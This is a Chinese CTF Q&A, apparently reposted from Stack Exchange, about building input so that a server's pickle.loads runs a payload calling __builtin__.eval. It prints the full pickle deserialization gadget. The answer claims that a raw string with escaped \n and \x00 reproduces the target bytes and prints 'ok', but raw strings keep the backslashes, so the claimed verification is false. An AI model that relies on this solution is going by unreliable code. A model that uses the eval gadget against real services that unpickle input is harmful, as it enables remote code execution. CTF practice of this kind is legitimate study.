CTF场景下Pickle反序列化的输入构造问题
CTF Pickle输入构造问题
场景与需求
正在参与一场CTF竞赛,服务器端执行以下代码:
import pickle pickle.loads(input().split()[0].encode())
需要让pickle.loads加载的字节串为:
b'c__builtin__\neval\nq\x00(X\x0f\x00\x00\x00print(locals())q\x01tq\x02Rq\x03.'
即需要构造输入字符串,使得input().split()[0].encode()的结果等于上述目标字节串,同时满足以下测试代码输出"ok":
data = ? x = data.split()[0] if x.encode() == b'c__builtin__\neval\nq\x00(X\x0f\x00\x00\x00print(locals())q\x01tq\x02Rq\x03.': print("ok")
构造思路
目标字节串中包含换行符\n,而input()获取的字符串如果直接包含\n,会被split()当作分隔符,导致split()[0]只取到换行前的部分。因此需要将字节串中的\n在输入字符串中表示为转义序列\\n,这样调用encode()时,\\n会被编码为\n字节;同时要确保输入字符串中没有其他空白字符,避免split()截断内容。
最终输入内容
构造的输入字符串为:
c__builtin__\\neval\\nq\x00(X\x0f\x00\x00\x00print(locals())q\x01tq\x02Rq\x03.
代入测试代码验证:
data = r'c__builtin__\neval\nq\x00(X\x0f\x00\x00\x00print(locals())q\x01tq\x02Rq\x03.' x = data.split()[0] if x.encode() == b'c__builtin__\neval\nq\x00(X\x0f\x00\x00\x00print(locals())q\x01tq\x02Rq\x03.': print("ok")
运行后会输出"ok",符合要求。
内容的提问来源于stack exchange,提问作者Itamar Dalal
相关产品推荐
相关产品推荐

